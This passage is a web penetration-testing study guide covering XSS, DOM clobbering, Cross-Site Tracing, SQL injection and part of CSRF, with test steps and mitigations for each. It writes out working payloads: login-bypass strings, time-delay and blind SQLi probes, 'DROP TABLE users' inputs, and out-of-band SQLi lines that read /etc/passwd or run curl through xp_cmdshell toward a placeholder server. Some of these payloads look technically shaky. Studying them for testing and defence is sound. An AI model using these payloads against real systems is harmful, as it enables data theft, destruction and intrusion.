Holistic Web Pentest Note

1. XSS

HTTP Only Cookie Flag, CSP , XSS Mitigations Inline Java Script, XSS Difference,

2. DOM Clobbering

3. Cross-Site Tracing (XST)

4. SQL Injection

Blind, Boolean-Based Blind , Time-based Blind, Out of Band, First Order SQLi, Second Order SQLi, ORM Framework, (Different between prepared statement, parameterize queries, Dynamic queries, Stored Procedure), Mitigations

5. CSRF

CSRF Token, How to verify, Same-site cookie, Double submit cookie, Different same-site cookie & Double submit cookie, Cookie attribute, Bypass CSRF protection, Mitigation

6. NoSQL Injection

7. Insecure Deserialization -----Object Injection

8. Web Cache Deception

9. Web Cache Poisoning ---- Different Web Cache Deception & Web Cache Poisoning

10. Race Condition

11. Regex (Regular Expression)

12. Clickjacking/UI ReAddressing

13. Broken Object Level Authorization (BOLA)

14. Broken Function Level Authorization (BFLA) ---- Different between BOLA & BFLA

15. XXE ----- XML Injection, Different of XXE, XMLi&XEE, XML Entity Expansion (XEE)

16. SSRF ----- Mitigations , Basic SSRF, SSRF Internal File, Blind SSRF, Out of Band SSRF, XSPA, SSRF to External System, Protocol Smuggling SSRF

17. Oracle Padding Attack ---------- Mitigations , TLS vulnerabilities (CRIME, Heartbleed, Poodle, BEAST, DROWN, FREAK, Logjam, ROBOT, BREACH, ALPACA, Ticket Bleed, CCS Injection)

18. SSTI

19. Server-Side Include Injection (SSI Injection) ------- Different of SSRF, SSTI & SSI

20. RCE

21. OS Command Injection

22. LDAP Injection

23. CRLF Injection

24. Header Injection

25. HTTP Response Splitting

26. Log Injection – Log4j

27. Insecure CORS Misconfiguration

28. HTTP Request Smuggling

29. LFI

30. Directory Traversal ------ Different between LFI & Directory Traversal

31. RFI ---------- Different between RFI, SSRF & LFI

32. Client-Side Path Traversal

33. Prototype Pollution

34. HTTP Pollution --------- HTTP parameter Pollution ------ Different HT & HPP

35. Unrestricted File Upload

MIME Type, MIME Sniffing, Content Sniffing, Different MIME Sniffing & Content Sniffing

36. IDOR

37. Privilege Escalation ---------- Different between Privilege Escalation & IDOR

38. Host Header Injection

39. Open Redirection ------ Different HHI & Open Redirection

40. SAML

41. Web Socket Vulnerabilities ---------- Mitigations

42. Type Juggling

43. Session Fixation ---------- Different Session Fixation & Session Hijacking

44. HTTP Security Headers

45. OWASP Top 10

46. CVSS Calculate -------- Different between CVSS, CVE & CWE

1. Cross-Site Scripting (XSS) _ #F01875 // Color code

XSS (Cross-Site Scripting) is a type of security vulnerability commonly found in web applications. It allows malicious user to inject malicious scripts (usually JavaScript) into web pages viewed by other users. These scripts can then run in the user's browser, potentially leading to various harmful actions, such as Stealing Cookies or Session Data, Defacing Websites, Phishing Attacks.

Type of XSS: Reflected XSS, Stored XSS and DOM based XSS.

Reflected XSS:

XSS Mitigation

Reflected XSS (Non-Persistent XSS) is a type of Cross-Site Scripting vulnerability where malicious scripts are injected into a website through user input, like URL parameters or form fields, but are not stored on the server. Instead, the script is "reflected" back in the HTTP response. When a victim clicks on a crafted URL or submits a form containing the malicious code, the server reflects this input back, and the script gets executed in the victim's browser.

How to Test :

Step 1: Identify Input Points:

Start by identifying areas in the web application where user input is processed and reflected back in the response.

- URL Parameters: Look for query strings in URLs.
- Form Fields: Search fields, comment boxes, or feedback forms.
- HTTP Headers: Occasionally, headers like Referer or User-Agent can be manipulated.

Step 2: Craft and Inject Payloads:

- **Identify a URL Parameter:** https://example.com/search?q=hello
- **Inject a Payload:** https://example.com/search?q=<script>alert('XSS')</script>
- **Observe the Response:** If the application reflects the input without sanitization, an alert box with the message "XSS" may appear.

Form Submission:

- Find a Form: Inject malicious script like **<script>alert('XSS')</script>**

URL Fragment:

- **Identify a Fragment Identifier:** https://example.com/page#content
- **Inject Payload :** https://example.com/page#<script>alert('XSS')</script>

Use Intercept Tools: Burp suite, OWASP ZAP and other automated tools

Stored XSS (Persistent XSS)

Stored XSS (Cross-Site Scripting) is a type XSS vulnerability where a malicious user can inject malicious scripts into a web application, and these scripts are stored on the server. When a user accesses the affected application, the malicious script is served as part of the web page, allowing the malicious user to execute arbitrary code in the user's browser.

How to Test:

- **Identify Input Points:** Look for input fields in the application (e.g., comments, user profiles, feedback forms).
- **Craft a Malicious Payload:** <script>alert('XSS');</script>
- **Access the Affected Page:**
  - After submitting the payload, navigate to the page where the input is displayed (e.g., the comment section).
  - If the application is vulnerable and has stored your input, you should see the payload executed, for example, an alert box will appear.
- **Testing in Different Browsers:**

    - Sometimes, browser-specific behaviors may affect how scripts are executed. Test in different browsers to confirm consistent results.
- **Check for Persistence:**

After a successful injection, log out, clear your browser cache, or use a different browser to access the page again. If the payload still executes, it's confirmed as Stored XSS.

DOM XSS XSS-mitigation

DOM-based XSS (Cross-Site Scripting) is a type of security vulnerability that occurs when an attacker is able to execute malicious scripts in a user's browser by manipulating the Document Object Model (DOM) of a web application and it occurs entirely in the browser without any server-side involvement.

Explain DOM:

The Document Object Model (DOM) is a programming interface for web documents. It represents the structure of a document (like an HTML page) as a tree of objects, allowing programming languages (like JavaScript) to manipulate the structure, style, and content of a webpage dynamically.

How to Test:

Identify Input Sources:

Look for areas in the application where user input can be used to modify the DOM, such as:

- URL parameters (e.g., http://example.com/?param=value)
- Fragment identifiers (hashes) in URLs (e.g., http://example.com/#something)
- Form fields or any JavaScript APIs that dynamically render user input.

Manipulate the URL:

Inject the payload into the URL parameter or fragment:

For example, modify the URL to http://example.com/#<script>alert('DOM XSS');</script>

Understand When DOM XSS Exploit Successfully:

- **Immediate Script Execution:**
    - **Alert Dialogs**: The simplest method is to use an alert box. If the attacker injects a script like
    - <script>alert('XSS Successful');</script>
    - and sees the alert pop up, they know the exploit was successful.

- **Inspecting the Browser Console**
    - Attackers can use the browser's developer tools (F12) to check the console for errors or logs that confirm the script was executed.
    - console.log("XSS Payload Executed");
    - If this log appears in the console, it indicates that the JavaScript executed successfully.

- **Manipulating the DOM**
    - Adding Elements: Attackers may inject scripts that modify the DOM to insert new elements
    - document.body.innerHTML += " XSS Successful ";
    - If they see this element appear on the page, it confirms that the attack succeeded.

- **Test with Network Activity**
    - Network Monitoring: Attackers can monitor outgoing network requests using the Network tab in developer tools. If their script makes a request to a server they control, they can see the traffic generated by the XSS payload.

Different between Reflected XSS, Stored XSS and DOM XSS:

Characteristic	Reflected XSS	Stored XSS	DOM XSS
Definition	Injected script is reflected off the web server and executed immediately.	Injected script is stored on the server and executed when the page is viewed.	Vulnerability exists in client-side scripts that manipulate the DOM.
Execution Location	Requires user interaction (e.g., clicking a link)	Triggered when the stored content is accessed by any user	Triggered by client-side script execution upon DOM manipulation
Persistence	Not persistent; it only affects users who interact with the malicious link.	Persistent; can affect many users who view the affected page or content.	Not persistent in a traditional sense; it depends on the client-side context.
Payload Delivery Method	Via crafted URLs or HTTP requests	Through user input fields (comments, forums, etc.)	Through client-side manipulation of the URL or DOM elements
Impact Scope	Limited to individual users; requires social engineering (phishing)	Can impact many users accessing the stored content	Affects users based on how client-side scripts manipulate the DOM

XSS Mitigations Strategies:

XSS-mitigation

- **Always validate and sanitize user inputs**
- **Set the Output Encoding Rules** like (HTML Entity Encoding, HTML Attribute Encoding, URL Encoding, JavaScript Encoding, CSS Hex Encoding)
- **Proper Implement Content Security Policy (CSP)**
- **Use Secure HTTP Headers**
- **Use an Auto-Escaping Template System**
- **Use HTTP Only Cookie Flag**
- **Avoid Inline JavaScript**
  If an attacker is able to inject malicious scripts into a web page (for example, through user input), those scripts can be executed directly if they are inline, potentially leading to session hijacking, data theft, or other malicious activities.
- **Use Security Libraries**
- **Implement WAF**

HTTP Only Cookie Flag:

Definition: The HttpOnly flag is an attribute that can be set on cookies to indicate that they should only be accessible through HTTP(S) requests and not through JavaScript or other client-side scripts.

How It Works: When a cookie is set with the HttpOnly attribute, it cannot be read by the JavaScript document.cookie API. This means that any attempt by malicious scripts (such as those injected through XSS vulnerabilities) to access the cookie will fail.

Inline JavaScript:

Inline JavaScript refers to JavaScript code that is written directly within an HTML document, typically within <script> tags or as event handler attributes in HTML elements. This method allows for immediate execution of JavaScript when the HTML page is loaded or when a specific event occurs.

Content Security Policy (CSP):

Content Security Policy (CSP) is a security feature that helps prevent a variety of attacks on web applications, including Cross-Site Scripting (XSS) and data injection attacks. CSP allows developers to specify which resources (such as scripts, images, stylesheets, and fonts) can be loaded and executed on their web pages. This is done through a set of rules defined in HTTP response headers or **<meta>** tags in HTML.

2. DOM Clobbering

DOM clobbering is a vulnerability in web applications where an attacker can manipulate the Document Object Model (DOM) of a web page by overriding or "clobbering" predefined JavaScript objects or properties. An allowing an attacker to manipulate or change application logic or perform Cross-Site-Scripting or unintended behaviors.

Document Object Modul (DOM):

The Document Object Model (DOM) is a programming interface for web documents that represents the structure of a document as a tree of objects. It allows developers to manipulate HTML and XML documents dynamically, enabling interactive web applications.

How to test:

Testing scenarios1: Cross-Site Scripting (XSS) via Clobbered Variables

- Find a place in the application where user input is directly reflected in the DOM.
- Inject an input element with a value attribute containing JavaScript.

Example Payload:

```
<input name="output" value="<script>alert('XSS')</script>">
<script>
  document.body.innerHTML = output.value;
</script>
```

Testing Secnerios2: Injecting Elements to Override Form Behavior:

Target: Form fields or actions that use JavaScript for validation.

Exploit Method:

- Inject a new input or form element using a name or ID that matches the expected element name.
- **Example:** if there is a form with id="loginForm", inject <input name="loginForm">.
- This may cause document.loginForm to refer to the new input element rather than the original form.

Outcome: You can manipulate the behavior of form submissions, potentially bypassing validation or changing the target action of the form.

Testing Scenerios3: Overwriting JavaScript Objects or Functions:

Target: Objects that store important information (like user roles, session details).

Exploit Method:

- Inject an HTML element using the same name as a JavaScript object.
- **Example:** If var user = { role: "guest" }; exists, injecting <form name="user"> can overwrite it.
- This may cause user references to point to the HTML form instead of the object.

Outcome: The application might fail to properly check user roles or session data, leading to privilege escalation.

Testing Scenerios4: Changing Form Submission Action:

Target: Forms that use JavaScript to dynamically set the action attribute.

Exploit Method:

- Inject a form with the same name as the original form but with a different action URL.
- **Example**: <form name="paymentForm" action="https://attacker-site.com/submit">.

Outcome: When the form is submitted, the data might be sent to an attacker-controlled site instead of the legitimate endpoint.

DOM Clobbering Mitigation Strategies:

1. Use Unique IDs and Names for DOM Elements

Description: Use IDs and names for DOM elements that are unique and difficult to predict, which reduces the chance of name collisions with user-controlled inputs.

- Use descriptive IDs like loginForm-unique-1234 rather than common names like login.
- Avoid generic names like user, session, form, data, etc.
- Use random or hash-based suffixes for IDs to make them hard to guess.

2. Scope JavaScript Variables Properly

Description: Avoid declaring variables in the global scope to prevent them from being easily overridden.

- Use let or const instead of var to limit variable scope to the block where they are defined.
- Encapsulate code within functions or immediately invoked function expressions (IIFE) to avoid polluting the global scope.
- **Example:** Instead of var user = "guest";, use const user = "guest"; inside a function or module.

3. Validate and Sanitize User Inputs

4. Avoid Direct Use of name or id Attributes in JavaScript

Description: Avoid directly referencing elements by their name or id attributes using shorthand like document.loginForm.

- Use document.getElementById('loginForm') or document.querySelector('#loginForm') instead of document.loginForm.
- Avoid using document.forms['formName'] as it can be easily clobbered.
- Use class selectors (document.querySelector('.class-name')) when possible, as they are less likely to be overridden.

5. Use Content Security Policy (CSP)

6. Encapsulate JavaScript Logic in Modules

Description: Use JavaScript modules (<script type="module">) or frameworks that encapsulate logic to prevent it from interacting with the global scope.

- Convert your scripts to ES6 modules, which create their own scope.

7. Avoid Inline Event Handlers

Description: Inline event handlers like onclick, onload, etc., are more vulnerable to being clobbered.

- Use addEventListener in JavaScript instead of inline attributes.

3. Cross-Site Tracing (XST)

Cross-Site Tracing (XST) is a web security vulnerability that arises from the combination of Cross-Site Scripting (XSS) and the HTTP TRACE method. It allows an attacker to retrieve sensitive information, such as authentication tokens or cookies, from a victim's browser by exploiting the TRACE method of the HTTP protocol.

HTTP Methods:

TRACE:

- Purpose: Used for debugging, it echoes back the HTTP request.
- Risk: Can be exploited through Cross-Site Tracing (XST) to bypass security restrictions like Same-Origin Policy (SOP) and obtain sensitive data like cookies.

PUT:

- Purpose: Allows clients to upload a file or replace a resource on the server.
- Risk: Can be abused to upload malicious files or web shells if proper authentication and validation are not enforced.

DELETE:

- Purpose: Allows clients to delete resources on the server.
- Risk: If exposed without proper access control, attackers could delete critical data or files.

OPTIONS:

- Purpose: Provides information about the HTTP methods that are supported by the server.

- Risk: While not directly dangerous, it can give attackers information about other potentially vulnerable methods enabled on the server.

CONNECT:

- Purpose: Converts the request connection to a transparent TCP/IP tunnel, often used for SSL tunneling.
- Risk: Can be exploited for tunneling or proxying malicious traffic, potentially bypassing firewalls.

HEAD:

- Purpose: Similar to GET but only returns headers, without the message body.
- Risk: Can be used to probe a server and gather information that might assist in other attacks, though it's less risky compared to PUT or DELETE.

PATCH:

- Purpose: Applies partial modifications to a resource.
- Risk: If not properly secured, it may allow an attacker to alter critical data or files on the server.

How to test XST:

3.1. Check if the TRACE Method is Enabled:

- **Use Curl tool:** curl -X TRACE http://vulnerable-site.com
- **Server Response:** If the server responds with a status 200 OK and echoes back the request, TRACE is enabled
- **Use Telnet:** telnet example.com 80
    - TRACE / HTTP/1.1
    - Host: example.com
- If you receive a response that echoes back the request, then the TRACE method is enabled.

3.2. Test TRACE Method Using Web Proxy Tools (Burp suite)

- Intercept the web page request and modify the HTTP method to TRACE.
- Forward the modified request to the server.
- Observe the server's response to see if it echoes back the request headers.

3.3. Automated Scanning with Security Tools:

- **Use Nmap Script:** `nmap -p 80 --script http-methods --script-args http-methods.url-path=/ example.com`

1.4. Testing with Burp Suite's Repeater Tool:

- Intercept a request using Burp Suite from a page where you can inject XSS.
- Send the request to Burp Suite's Repeater.
- Modify the HTTP method to TRACE.
- Observe the response to see if the request is echoed back with sensitive headers.
- Create a JavaScript payload that makes a similar TRACE request.
- Inject the payload into the XSS vulnerability and observe if the server echoes back sensitive information in the browser.

XST Mitigation Strategies

- **Disable HTTP TRACE**: The most effective mitigation is to disable the TRACE method on the server. Most web servers have configuration options to do this (e.g., for Apache, you can set TraceEnable off).
- **Implement Content Security Policy (CSP)**: Use CSP to mitigate the impact of XSS attacks by controlling the sources of scripts and other resources.
- **Validate and Sanitize User Input**: Ensure all user inputs are properly sanitized and validated to prevent XSS vulnerabilities.
- **Use Secure Cookie Attributes**: Set the HttpOnly flag on cookies to prevent JavaScript access, making it harder for attackers to retrieve sensitive information.

4. SQL Injection

SQL injection is a type of web security vulnerability where a malicious user inserts malicious SQL queries into a web application's input field to manipulate the database behind the web application. This can allow the malicious user to access sensitive data, modify or delete data, or even gain control of the database server.

Types of SQL Injection:

In-Band SQL injection (Error based SQLi, Union Based SQLi), **Blind SQL Injection** (Boolean Base Blind SQLi, Time Based Blind SQLi), **Out-of-Band SQL Injection**, **First Order SQL Injection**, **Second-Order SQL Injection**

SQLi Mitigations

Error-Based SQL Injection:

Error-Based SQL Injection is a type of SQL injection attack that takes advantage of the database's error messages to extract information about the structure of the database. When an attacker inputs malicious SQL code that causes an error in the query, the database often returns detailed error messages. These messages can reveal valuable information, such as database version, table names, column names, and other sensitive details, which can be used for further exploitation.

How to test Error-based SQLi:

Step 1: Identify Input fields.

Look for input fields in web applications, such as login forms, search boxes, URL parameters, and other areas where user input is processed.

Example: **' OR 1=1 --**

Explanation:

- **‘ :** This single quote closes the current string in the SQL query. It’s often used to break out of a string context.
- **OR:** This logical operator allows for an alternative condition. If any part of the condition evaluates to true, the entire expression will return true.
- **1=1:** This is a simple condition that always evaluates to true. So, when included in a query, it guarantees that the SQL condition is met.
- **--:** This sequence is a comment in SQL. Everything following -- is ignored by the SQL engine, which effectively comments out the rest of the original query.

Example: http://example.com/user.php?id=1’

Example: http://example.com/user.php?id=1' AND 1=CONVERT(int, (SELECT @@version))--

Explanation:

- **1':** This part closes the initial quotation mark for the id parameter, effectively breaking out of the intended query.
- **AND 1=CONVERT(int, (SELECT @@version)):** This part is designed to inject a SQL command that attempts to convert the output of SELECT @@version to an integer, which will cause an error if the database does not support such a conversion.
- **--:** This is a comment in SQL that ignores the rest of the query, allowing the attacker to effectively disregard any following conditions.

Union Based SQL Injection:

Union-Based SQL Injection (SQLi) is a type of SQL injection attack that allows an attacker to combine the results of two or more SELECT statements into a single result set using the UNION operator. This technique is used to extract data from other tables in the database that the attacker may not have direct access to, effectively bypassing security measures and retrieving sensitive information.

How to test Union-Based SQLi:

Steps1: Test Basic Union Payloads:

- http://example.com/products.php?id=1 UNION SELECT NULL --

Steps2: Determine the Number of Columns

- http://example.com/products.php?id=1 UNION SELECT NULL, NULL -- (try 1, 2, 3, etc.)

Blind SQL Injection:

Blind SQL Injection (Blind SQLi) is a type of SQL injection vulnerability, where a malicious user is unable to directly view the results of the SQL query being executed. Blind SQL Injection does not provide direct feedback, a malicious user assume the information based on application behavior

How to test Blind SQLi:

Step 1: Test the URL or input field:

- **Suppose the parameter is id in the URL:** http://example.com/item?id=1

Step 2: Inject a True Condition: the Boolean value

- Modify the URL to inject a condition that is always true:
- **http://example.com/item?id=1 AND 1=1**
- **Response:** The web page load as it normal.

Why Use **True Condition**: When testing for Blind SQLi, an attacker uses the true condition (e.g., AND 1=1) to confirm that the query is valid, and the application is functioning normally without any issues. The attacker can then compare this "normal" behavior to the page's response when a false condition (e.g., AND 1=2) is injected.

Step 3: Inject a False Condition:

Modify the URL again to inject a condition that is always false:

http://example.com/item?id=1 AND 1=2

Response: The page should display a different result. The response could be an error message like "No results found," a blank page, or different content.

False Condition: When a false condition is used, the page may return an error like:

- "Invalid Input."
- "Query Error."
- "Item Not Found."
- “No results Found.”

Show a blank page or missing sections, as the application might be programmed to hide content when a false condition is encountered.

Step 4: Inject Time Delay query:

http://example.com/item?id=1 OR SLEEP(5)

Response: If the page response is delayed by 5 seconds, it indicates that the server processed the SLEEP function, confirming the vulnerability.

Delay SQL Queries of various Database:

- **MySQL (using SLEEP()) :**
  - http://example.com/item?id=1' AND SLEEP(5) --
- **SQL Server (using WAITFOR DELAY):**
  - http://example.com/item?id=1' WAITFOR DELAY '00:00:05' --
- **PostgreSQL (using pg_sleep()):**
  - http://example.com/item?id=1' AND pg_sleep(5) --
- **Oracle (using DBMS_LOCK.SLEEP):**
  - http://example.com/item?id=1' AND DBMS_LOCK.SLEEP(5) --
- **SQLite (using sqlite3_sleep):**
  - http://example.com/item?id=1' AND sqlite3_sleep(5) --

Boolean-Based Blind SQL injection

Boolean-Based Blind SQL Injection is a type of SQL injection attack where the attacker does not receive direct feedback from the database in the form of data but instead infers information based on the application’s response to different queries. This method relies on crafting SQL statements that evaluate to true or false, allowing the attacker to gradually extract information about the database structure, such as the presence of certain records or the existence of specific columns.

How to test Boolean-Based Blind SQLi:

1. **Example:** http://example.com/user.php?id=1' AND 1=1 -- //True condition

   Explanation: This query is always true, so the application should respond normally.

2. **Example:** http://example.com/user.php?id=1' AND 1=2 -- // False condition

   Explanation: This query is always false. If the application responds differently (e.g., displays an error message or a different page), the attacker knows that the application is vulnerable.

3. **Extracting Information:** After confirming vulnerability, the attacker can start extracting information.

   Example: http://example.com/user.php?id=1' AND LENGTH(database())=5 --

   Explanation: The attacker adjusts the number until the application responds as expected. If it returns normally, the length is correct; if not, the length is incorrect.

4. **Extract the Database Name:** The attacker can extract data character by character by checking if the first character of the database name matches a specific letter

   Example: http://example.com/user.php?id=1' AND SUBSTRING(database(),1,1)='a' --

   Explanation: The attacker would modify this payload to check subsequent characters (e.g., SUBSTRING(database(),2,1)='b').

Time based Blind SQL Injection

Time-based blind SQL injection is a type of SQL injection vulnerability that allows a malicious user to infer information from a database based on the time it takes for the database to respond to specific queries. This method is particularly useful when the application does not return error messages or visible outputs that an attacker could use to exploit the database directly

How to test:

1. Identify Input Points

First, identify the parameters in the application that may be vulnerable to SQL injection.

- URL query strings (e.g., http://example.com/page?id=1)
- Form inputs (e.g., login forms, search fields)
- HTTP headers (e.g., User-Agent, Referrer)

Example: MySQL

http://example.com/user?id=1; IF(1=1, SLEEP(5), 0) –

Character Check: https://example.com/user?id=1; IF(SUBSTRING((SELECT username FROM users LIMIT 1), 1, 1) = 'a', SLEEP(5), 0) --

Example 2: PostgreSQL

http://example.com/user?id=1; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE 0 END –

Out of Band SQL Injection

Out-of-band SQL injection (OOB SQLi) is a type of SQL injection attack where the attacker cannot use the same channel to launch the attack and gather results. Instead of getting results through the web application's response, the attacker relies on the database to make a request to an external server that they control. This method can be particularly useful when the application does not return error messages, or the response time is not easily manipulated to extract information.

How to test it:

- **Set Up a Listener:** Use a tool like Netcat or Burp Suite to set up a listener on your own server. This server will catch incoming requests from the vulnerable database.
- **nc -lvnp [PORT]** //nc -lvnp 443
- **Identify Input Field:** Identify user input fields that interact with the database, such as login forms, search fields, or URL parameters.

- **Inject Payloads:**

  ' UNION SELECT 1, 'test' || (SELECT LOAD_FILE('/etc/passwd')) INTO OUTFILE 'http://[YOUR_SERVER]/path' –
- **Response:** If the Out of band SQLi exists, we can see the exfiltrated data in the form of HTTP requests or other types of data sent from the vulnerable application.

Use Burp suite and burp collaborator:

- **Intercept a Request:** Intercept the request of input field and send to “Repeater” modify the request and use burp collaborator payloads and send to server for response then analyze the response.
- MySQL Payload: ' UNION SELECT 1, 'test' INTO OUTFILE 'http://[BURP_COLLABORATOR_URL]' --
- SQL Server Payload: '; EXEC xp_cmdshell('curl http://[BURP_COLLABORATOR_URL]') –
- **Response:** If Out of band SQLi exists, we will see a **DNS request** made by the vulnerable application to your Burp Collaborator domain.

First Order SQL Injection:

First-Order SQL Injection occurs when an attacker directly inserts malicious SQL code into a vulnerable input field or URL parameter, and the code is immediately executed by the application’s database query without any further processing. This is the most straightforward form of SQL injection and is one of the most common security vulnerabilities in applications that interact with databases.

How to test it:

Step 1: Look for Input Fields:

Identify input fields that interact with the database, such as login forms, search boxes, and URL parameters.

Step 2: Inject SQL queries input field like…

' OR '1'='1' -- : This payload may bypass login forms.

admin' -- : This payload can bypass a login form if the WHERE clause accepts admin and ignores the password.

Step 3: Observe Responses: Check for unusual responses, like errors, SQL syntax errors, or unexpected data in the output. For example, if entering "' OR '1'='1" returns more results than expected or bypasses authentication, this is a strong indicator of SQL injection.

Second Order SQL Injection

Second Order SQL Injection is a type of SQL injection attack where the malicious input is not immediately executed. Instead, it is stored in the database and executed later when the application retrieves and processes it. This technique exploits the application's behavior when it retrieves data from the database without proper sanitization or validation.

How to test it:

Identify User Input:

- Registration form, Profile update, comments

Input Malicious Data:

- Use a payload like '; DROP TABLE users; -- in a registration field.

Trigger the Retrieval:

Log in, view a profile, or trigger any database retrieval that could execute the stored SQL payload.

Check for Effects:

- Check for the intended effect of the payload:
  - For example, verify if the users' table is missing after the retrieval operation.

Example: User Registration and Second Order SQL Injection

Imagine a simple web application with user registration and login functionalities. The application allows users to register with their usernames, which are then stored in a database.

Step 1: User Registration

The attacker fills out a registration form with a username that contains an SQL injection payload.

Malicious Input:

- **Username:** testuser1'); DROP TABLE users; --
- **Password:** password123
- **Email:** testuser1@example.com

Step 2: Data Storage

The application executes the **testuser1'); DROP TABLE users; --** SQL command and stores the username, password, and email in the database. However, because of the malicious payload in the username, the command results in the users' table being dropped.

Step 3: Data Retrieval

Later, when the application retrieves user data (e.g., to log in or display a user profile), it executes an SQL query using the stored data. Suppose the application retrieves user information based on the username:

SQL Injection Mitigations:

- Use Prepared Statements (Parameterized Queries)
- Stored Procedures
- Implement strict input validation and sanitization
- Use ORM (Object-Relational Mapping) Tools
- Implement Least Privilege Principle
- Proper maintain Error handling
- Implement a WAF to monitor and filter incoming traffic

ORM Framework:

An ORM (Object-Relational Mapping) framework is a programming technique used to convert data between incompatible type systems in object-oriented programming languages. ORM allows developers to interact with a relational database using object-oriented paradigms, eliminating the need for writing raw SQL queries.

Key Concepts of ORM

- **Mapping:** ORM frameworks map database tables to classes in programming languages, rows to objects, and columns to attributes of those objects.
- **Abstraction:** They provide an abstraction layer, allowing developers to perform database operations using higher-level programming constructs without needing to understand the underlying SQL.
- **CRUD Operations:** ORMs simplify CRUD (Create, Read, Update, Delete) operations by providing methods for each operation.
- **Relationships:** ORMs handle relationships between different tables (e.g., one-to-many, many-to-many) using object associations.

Advantages of Using ORM Frameworks

- **Reduced Boilerplate Code:** ORMs can significantly reduce the amount of code needed to perform database operations.
- **Increased Productivity:** Developers can focus on writing application logic rather than worrying about SQL syntax and database connections.
- **Portability:** ORM frameworks can provide database independence, allowing you to switch between different relational databases with minimal changes to your code.
- **Security:** They can help protect against SQL injection attacks by automatically parameterizing queries.
- **Maintainability:** The codebase is typically easier to maintain due to the use of objects and classes, making it more understandable.

Different between Prepare Statement, Parameterize queries, Dynamic queries and Store Procedure

Feature	Prepare Statement	Parameterize Queries	Dynamic Queries	Store Procedure
Definition	SQL statements that are precompiled and stored for reuse.	SQL statements with placeholders for parameters.	SQL statements generated dynamically at runtime.	Predefined SQL code stored in the database.
Execution	Prepared statements are compiled once and can be executed multiple times with different parameters.	Parameterized queries use placeholders that are replaced by actual values during execution.	Dynamic queries are constructed and executed in real-time, often using concatenation.	Stored procedures are executed as a single unit, with parameters passed when called.
Syntax Example	PREPARE stmt FROM 'SELECT * FROM users WHERE id = ?';	SELECT * FROM users WHERE id = ? (using a placeholder)	`EXECUTE IMMEDIATE 'SELECT * FROM users WHERE id = '	
Performance	Offers improved performance for repeated executions due to precompilation.	Slightly less efficient than prepared statements but provides similar performance benefits.	May lead to performance issues due to lack of precompilation and execution plan caching.	Generally efficient, as the execution plan is cached.
Security	Helps prevent SQL injection attacks by separating data from SQL commands.	Also protects against SQL injection by using placeholders.	More vulnerable to SQL injection if not properly sanitized.	Provides protection against SQL injection if parameters are used correctly.
Reusability	It can be reused with different parameters, making it efficient.	It can be reused with different parameters, but not as flexible as prepared statements.	Not reusable unless stored in a variable or executed multiple times with different inputs.	It can be reused across different applications and calls, making it modular.
Complexity	Generally straightforward; requires understanding of prepared statements syntax.	Easy to use; similar to regular SQL syntax.	More complex; involves string manipulation and dynamic SQL generation.	Requires knowledge of the database's procedure creation and execution syntax.
Maintenance	Easier to maintain as the SQL logic is separate from application logic.	Similar to prepared statements, easy to maintain.	Harder to maintain due to dynamic generation and potential for errors.	Modular and easier to maintain as business logic is encapsulated within procedures.

Why and when use Prepared Statements, Parameterized Queries, ORM Frameworks

1. Prepared Statements and Parameterized Queries, Stored Procedures,

- **Why Use:**
    - **Prevention of SQL Injection:** Prepared statements separate SQL code from data, making it impossible for attackers to inject malicious SQL.
    - **Performance Optimization:** The database can cache the execution plan for a prepared statement, improving performance for repeated executions.
- **When to Use:**
    - Whenever user input is involved in constructing SQL queries, especially for data entry forms, search queries, or any scenario where user input is processed.

2. Stored Procedures

- **Why Use:**
    - **Encapsulation of Logic:** Stored procedures encapsulate complex SQL logic on the database side, which can improve performance and reduce network traffic.
    - **Security:** They can restrict access to certain database operations, allowing users to execute predefined procedures without exposing the underlying tables.
- **When to Use:**
    - For complex transactions or business logic that require multiple SQL operations, especially when operations need to be reused frequently or when security is a concern.

3. ORM (Object-Relational Mapping) Frameworks

- **Why Use:**
    - **Simplified Database Interaction:** ORMs abstract the database interactions, allowing developers to work with database records as objects in their programming language.
    - **Automatic Query Generation:** ORMs automatically generate SQL queries based on object interactions, reducing the likelihood of SQL injection.
    - **Increased Productivity:** Developers can focus on business logic rather than SQL syntax, speeding up development time.
- **When to Use:**
    - When developing applications with complex data models or when rapid application development is a priority. They are particularly useful in larger projects where multiple developers are involved, as they enforce consistent data access patterns.

5. Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) is a type of security vulnerability that allows an attacker to trick a user into executing unwanted actions on a different website where they are authenticated. This typically occurs when the user is logged into a web application and the attacker sends a malicious request that gets executed with the user's credentials.

How CSRF Works:

- **User Authentication:** A user logs into a web application and receives an authentication token (like a session cookie).
- **Crafting Malicious Request:** An attacker creates a web page or sends an email with a link that triggers a request to the target application, such as transferring money or changing account settings.
- **Executing the Request:** If the user clicks the link while logged in to the target application, the request is sent using their session, allowing the attack to succeed without the user's consent.

How to test:

Steps1:Create Two user account:

- Victim user account: **victim@gmail.com**
- Attacker account: **attacker@gmail.com**

Steps2: Log in:

- Log into both accounts in separate browser sessions or use incognito/private mode for one account to simulate both being active.

Steps3:

- Locate the Change Email Form: In the application, navigate to the account settings page where users can change their email address.

Steps4: Create the Malicious Payload

- Create an HTML page that will send a request to change the victim’s email to the attacker’s email address when accessed.

Steps 5: Execute the Attack:

- **Share the Malicious Page:** The attacker can send a link to the victim or host it somewhere where the victim might be tricked into visiting (e.g., via email or social media).
- **Victim Visits the Page:** If the victim is logged into the application, visiting the malicious page will trigger the form submission, sending a POST request to change their email.

Steps 6: Verify the Outcome

- **Check the Victim's Email:** After the victim visits the malicious page, the attacker checks their account. If successful, the email address for **victim@example.com** is changed to **attacker@example.com**.

CSRF Mitigation Strategies:

- Use unique CSRF tokens for each request and validate them on the server.
- Set SameSite cookie attributes to restrict cookie transmission to same-site requests.
- Implement double-submit cookies to cross-verify tokens in both the request body and cookies.
- Verify Referer or Origin headers to ensure requests come from trusted sources.
- Implement multi-factor authentication (MFA) for high-risk actions to ensure that even if CSRF is successful, further authentication is needed.
- Use custom headers like **X-Requested-With** for state changing requests.
- Regularly invalidate sessions and limit their lifespan.
- Implement CSP, reducing the ability to inject malicious scripts.

CSRF Token:

It is a unique, unpredictable value generated by the server and included in forms or requests. When a request is submitted, the token is validated to ensure that the request is legitimate and originates from an authorized user. This token must be sent with each request that modifies data, and it’s verified by the server to confirm authenticity.

How Server Verify CSRF Token:

1. Token Generation and Storage

- **Step 1:** When a user initiates a session (like logging in or visiting a page with a form), the server generates a unique CSRF token for that session.
- **Step 2:** The server stores this token. There are two common ways to store it:
  - **In Session Storage:** The server associates the CSRF token with the user’s session, storing it on the server-side.
